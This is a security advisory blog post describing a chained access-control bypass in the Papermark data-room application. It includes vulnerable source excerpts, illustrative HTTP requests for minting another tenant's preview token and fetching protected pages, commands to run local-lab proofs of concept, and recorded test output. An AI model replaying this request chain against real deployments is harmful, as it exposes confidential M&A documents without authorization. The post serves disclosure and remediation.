Blaze Labs /

Papermark: Cross-Tenant Preview Tokens Bypass Document Access Controls — Part 1

Security
Published · Updated
12min read
Document previews unravel around an archive divider, illustrating a second path to protected Papermark files.

Papermark is not merely a document-sharing application. It positions itself as a virtual data room for M&A, where sellers, buyers, bankers, lawyers, and advisers exchange confidential diligence material. That can include financial statements, customer contracts, intellectual property, legal records, and a confidential information memorandum while a transaction is still in progress.

Papermark lets a sender put a password, an email allow list, an agreement, an expiration date, and other controls in front of that material. A deal participant sees those controls as the boundary around the documents. During our review, we found a second path around that boundary.

With a general-audience room link and one ordinary Papermark account, an attacker could learn which documents were in the room before supplying its password, mint a preview token for a link owned by another tenant, and use that token to retrieve the room's files. The preview path did not create the normal viewing records, and one serving route continued to work after the link was archived.

This was not a theoretical combination. We ran the complete chain against a local Docker deployment, read the resulting files, checked the database for side effects, and tested controls intended to disprove an overbroad claim.

The short version

The attack joined two independent issues:

  1. PM-19 exposed room inventory too early. The pre-authentication page payload included document names and documentVersionId values before the password gate.
  2. PM-01 treated a preview token as authorization. An unrelated authenticated user could mint a preview token for a link they did not own. Downstream routes accepted it without reapplying the link's password, email, agreement, group, or lifecycle controls.

Together they formed Chain B: inventory disclosure supplies the document identifiers, and the unauthorized preview token permits retrieval.

The qualification matters: the inventory disclosure required a GENERAL link. A group-scoped link was filtered correctly in our test. We retained that result as a control rather than silently extending the claim to every kind of link.

Normal entry without the password is blocked; an unauthorized preview token allows files to be read.

View the illustration at full size

Simplified explanation of the tested bypass. The attacker needs a valid GENERAL room URL and an ordinary account outside the seller’s team.

Why this matters during an M&A process

An M&A data room exists to release sensitive information gradually and selectively. Different bidders may receive different documents at different stages. Passwords, email verification, NDAs, group permissions, expiration, and revocation are therefore deal controls, not cosmetic sharing preferences.

Under the demonstrated conditions, an unauthorized party holding a general room URL could retrieve protected diligence documents without satisfying those controls. In a live transaction, that could expose financial performance, customer concentration, contract terms, legal risks, valuation material, or intellectual property before the seller intended. A serving path that creates no new normal viewing record also weakens the application-level audit trail relied on to understand who accessed deal material.

We are not claiming that every Papermark-hosted transaction was compromised or that we observed an attack against a real deal. We demonstrated a technically complete path in a controlled environment that could compromise the confidentiality of an M&A process when its stated prerequisites are present.

This is why M&A cybersecurity due diligence should examine the applications and third-party platforms carrying the transaction, not only the target company's policies and infrastructure. A data room can become a material deal risk when its access controls do not enforce the separation the parties expect.

Step one: inventory before authentication

The room's Next.js data payload was assembled before the viewer passed the room's access controls. For a general-audience link, it disclosed the room's document names and version identifiers anonymously.

The vulnerable query selected each document's primary version—including its identifier and storage metadata—while assembling the data-room response. The following is an abbreviated excerpt from lib/api/links/link-data.ts at the reviewed revision 72888eec; unrelated selections are omitted:

TypeScript
documents: {
  where: groupPermissions.length > 0 || effectiveGroupId
    ? { id: { in: documentIds } }
    : undefined,
  select: {
    document: {
      select: {
        id: true,
        name: true,
        versions: {
          where: { isPrimary: true },
          select: { id: true, versionNumber: true, file: true },
          take: 1,
        },
      },
    },
  },
}

In the tested general-link path, that selection reached the anonymous Next.js data response before the password was accepted. An abbreviated, illustrative exchange was:

HTTP request / response
GET /_next/data/<build-id>/view/<link-id>.json HTTP/1.1
Host: papermark.local

HTTP/1.1 200 OK
Content-Type: application/json

{
  "pageProps": {
    "dataroom": {
      "documents": [
        {
          "document": {
            "name": "Project Falcon — Financials",
            "versions": [
              {
                "id": "<version-id>"
              }
            ]
          }
        }
      ]
    }
  }
}

Those identifiers are not documents by themselves. Their importance becomes clear only when another endpoint accepts them as a request for document content. That is exactly what the preview path did.

Our control request to the ordinary entry endpoint was rejected with HTTP 400 and Password is required. The password gate therefore existed and worked on the front door. The problem was that the pre-authentication payload had already handed the caller the identifiers needed to approach a different door.

Step two: minting another tenant's preview token

The preview-token endpoint authenticated the caller, but did not establish that the caller owned or could access the requested link. Registration was open, so the attacker did not need a privileged account; any ordinary account supplied enough authentication to reach the missing authorization check.

The following abbreviated excerpt from pages/api/links/[id]/preview.ts at 72888eec shows the missing link-authorization step:

TypeScript
const session = await getServerSession(req, res, authOptions);
if (!session) return res.status(401).end("Unauthorized");

const { id } = req.query as { id: string };
const previewSession = await createPreviewSession(
  id,
  (session.user as CustomUser).id,
);

return res.status(200).json({ previewToken: previewSession.token });

The route checked that the caller had an account. It did not query the link's teamId or the caller's membership in that team. The consuming route verified that the token matched the caller and link, then returned pages when the requested document belonged to the linked document or data room. This simplified excerpt summarizes the preview branch in app/api/views/pages/route.ts; the inline comment is explanatory rather than original source:

TypeScript
const previewSession = await verifyPreviewSession(previewToken, userId, linkId);
if (!previewSession) return NextResponse.json(
  { message: "Invalid or expired preview session." },
  { status: 401 },
);

// The data-room branch checked room membership of the document,
// but did not reapply password, email, agreement, group, or lifecycle policy.
return await fetchAndReturnPages(documentVersionId, pageNumbers);

After the token was issued, the page-serving route accepted it without reapplying the protections configured on the link. In the tested paths, the token bypassed the password, email restriction, verified-email requirement, agreement, and group filter. Expiration and archival closed the normal room-entry route, but the page route continued to return content.

That distinction is the heart of the issue: authentication answered who called the preview endpoint. It never answered whether that caller could preview this link.

These abbreviated requests illustrate the demonstrated bypass. They carried an unrelated user's valid session cookie, but no room password, invited email, agreement, or one-time code:

HTTP request / response
POST /api/links/<victim-link-id>/preview HTTP/1.1
Cookie: next-auth.session-token=<attacker-session>

HTTP/1.1 200 OK
{"previewToken":"<redacted>"}

POST /api/views/pages HTTP/1.1
Cookie: next-auth.session-token=<attacker-session>
Content-Type: application/json

{
  "previewToken": "<redacted>",
  "linkId": "<victim-link-id>",
  "documentVersionId": "<version-id>",
  "pageNumbers": [
    1
  ]
}

HTTP/1.1 200 OK
{"pages":[{"file":"<time-limited-signed-url>"}]}

Running the complete proof

The research package includes chain-b-inventory-then-preview-bypass/poc.py. The commands below refer to the prepared local research lab. From the prepared lab, run:

Shell command
docker exec -e PYTHONPATH=/opt/poc-deps pm-audit-app \
    python3 /app/security-review/chain-b-inventory-then-preview-bypass/poc.py

Recorded result: entry blocked, document bytes retrieved

The following lines are excerpts from the supplied chain-b-inventory-then-preview-bypass/evidence/run.txt. The normal entry attempt fails. The unrelated account then obtains a preview token and retrieves both page-image and original-file fixture bytes. The final two lines compare the routes after archival.

Recorded lab output
[CTRL PASS] the attacker holds no membership in the seller's team
[CTRL PASS] the gate rejects entry (password required)  HTTP 400 'Password is required.'
[VULN PASS] a preview token is issued for another tenant's link  HTTP 200
[VULN PASS] the withheld document's rendered bytes are retrieved  148 bytes
[VULN PASS] the original file's bytes are retrieved with no password  171 bytes
[CTRL PASS] archival does close room entry (front door)  HTTP 404
[VULN PASS] archival does NOT close the page-image route  views/pages still HTTP 200

The returned files in this lab contain controlled marker bytes. These excerpts document the supplied run; they are not application screenshots or a new execution performed while preparing this article.

The proof deliberately does more than look for HTTP 200. It confirms that:

  • the attacker has no membership in the seller's team;
  • the normal password gate rejects entry;
  • a group link withholds at least one document disclosed by the general link;
  • the preview token opens that withheld document's page route;
  • the returned bytes match the victim document fixture;
  • the general-link path returns the original uploaded file;
  • no new normal viewing record was observed in the tested database; and
  • archival closes the front door while the page route remains available.

The original run produced nine vulnerability assertions and seven controls. A failed control invalidates the run instead of being ignored.

The component proof

PM-01 can also be reproduced without the full inventory chain:

Shell command
docker exec -e PYTHONPATH=/opt/poc-deps pm-audit-app \
    python3 /app/security-review/pm-01-preview-token-access-control-bypass/poc.py

The standalone PM-01 transcript records the same access-control contrast and includes a prefix of the returned document marker:

Recorded lab output
[CTRL PASS] POST /api/views without the password is refused by the gate  HTTP 400 'Password is required.'
[VULN PASS] an unrelated account mints a preview token for the victim's link  HTTP 200 token=0ba04027bf86f219...
[CTRL PASS] minting a preview token with no session is refused  HTTP 401
[VULN PASS] the token serves signed page images without the password  HTTP 200 pages=1
[VULN PASS] the victim document's rendered bytes are retrieved  122 bytes: 'MARKER team=cmuiv8b3q0001mqejmb79rz8g doc="Victim Q4 Board D'

Excerpt from pm-01-preview-token-access-control-bypass/evidence/run.txt. The marker identifies the controlled victim document fixture.

The individual PM-19 proof is available alongside the advisory and demonstrates the early inventory disclosure independently. PM-02 then covers a related lifecycle failure: a legitimate viewId continued to serve page images after the link was revoked. These are separate findings, but together they show a repeated design problem: downstream serving routes trusted artifacts created earlier in the viewing flow instead of resolving and enforcing the link's current policy.

Other cracks in the viewer boundary

Three additional findings reinforced the same conclusion.

PM-02: revocation did not revoke the viewer capability. A legitimate open created a viewId. After revocation, the front door returned 404, but the same identifier still produced signed page-image URLs. In practice, the identifier acted as a bearer capability with a lifetime of roughly 23 hours.

PM-05: workflow downloads fell through the session checks. The download handler had explicit branches for document links and data-room links. WORKFLOW_LINK matched neither branch, so execution reached signed-URL creation without the corresponding session and email checks. We kept this at Medium because the live proof used a hand-built workflow fixture; the missing branch remained source-confirmed.

PM-03: passwords had no brute-force protection. Repeated wrong passwords from one address produced no 429 responses. The outcome depends on the strength of the sender's chosen password, so we rated it Medium rather than treating every protected room as immediately compromised.

What we demonstrated, and what we did not

The demonstrated outcome was read access to the documents in a general-audience room, including original uploaded files, from a free account that did not belong to the seller's tenant. No new normal viewing record was observed in the tested database. That database comparison does not exclude an update to an existing row, reverse-proxy logs, object-storage logs, or external telemetry.

We did not demonstrate guessing link identifiers, modifying documents through this chain, or reaching private bidder conversations. The attacker begins with a valid general-audience room URL. Negotiation access is an independent path covered in Part 2 of this series.

Blaze-proposed patches and their tested boundaries

The immediate corrections are straightforward:

  • authorize ownership or explicit access before issuing a preview token;
  • withhold document inventory until the viewer passes the applicable gates;
  • resolve the link on every content-serving request and enforce its current state;
  • apply group-level document permissions to preview requests;
  • reject archived, deleted, or expired links on every serving path; and
  • treat viewer identifiers as references, never as reusable authorization tokens.

These are Blaze-proposed patches, not vendor fixes, and Papermark did not review or endorse them. The PM-01 patch requires team membership before issuing the preview token. It blocked the tested cross-tenant mint, but it does not by itself establish the complete role-, group-, room-, and lifecycle-aware authorization model described above. The PM-19 patch withholds the tested general-room inventory before the gate; it does not prove that no other endpoint can disclose the same identifiers.

The preserved patch-verification run shows the tested chain failing at both primitives. This is a targeted exploit-retest result, not a complete regression suite or verification of a vendor release. The tested inventory response contained no version identifiers, the cross-tenant preview mint returned 403, and the dependent content requests failed. Closing both tested primitives is useful: withholding identifiers reduces exposure, while checking ownership protects the resource when an identifier is obtained elsewhere.

About the test environment

The target was Papermark main at commit ed19717e, revalidated at 72888eec. That code was newer than the latest tagged release available during the review, so the per-finding advisories describe affected code and configuration rather than claiming an unverified release range.

The lab ran Papermark, Postgres, Redis, and LocalStack S3 in Docker. Every Critical and High PoC read the relevant state back from Postgres or storage and restored the state it changed. The publication package preserves the PoCs, proposed patches, selected run output, and fix-verification transcript. It is an evidence and editorial handoff, not a clean-machine lab image: execution still requires the reviewed target checkout, prepared containers, database fixtures, and local dependencies described in the package.

Part 2 of this series, on bidder impersonation and private Q&A, follows the other critical chain: how a group link could turn a typed email address into a real bidder identity, and how the conversations API then trusted that identity without a session.

Disclosure note

Blaze Information Security first contacted Papermark on 15 October 2026 and sent the complete private report and supporting material on 9 November 2026. As of 24 November 2026, we had received no acknowledgement or technical response. Those are the dates documented in this publication package; we do not infer a motive or make claims here about delivery or communication channels that the package does not evidence.

The research combined source review with controlled local-lab testing. AI tools assisted parts of the analysis and editorial process; Blaze researchers manually reviewed the findings and validated every Critical and High proof reported here. The PoCs were not run against Papermark's hosted service or any third-party deployment.

Source references

The research package contains the individual advisories, local-lab PoCs, proposed patches, and recorded output. The upstream source references below identify the reviewed implementation; proposed patches in the package are Blaze's work.

Do you have questions? Let's talk.

Get in touch with our cybersecurity experts

Read More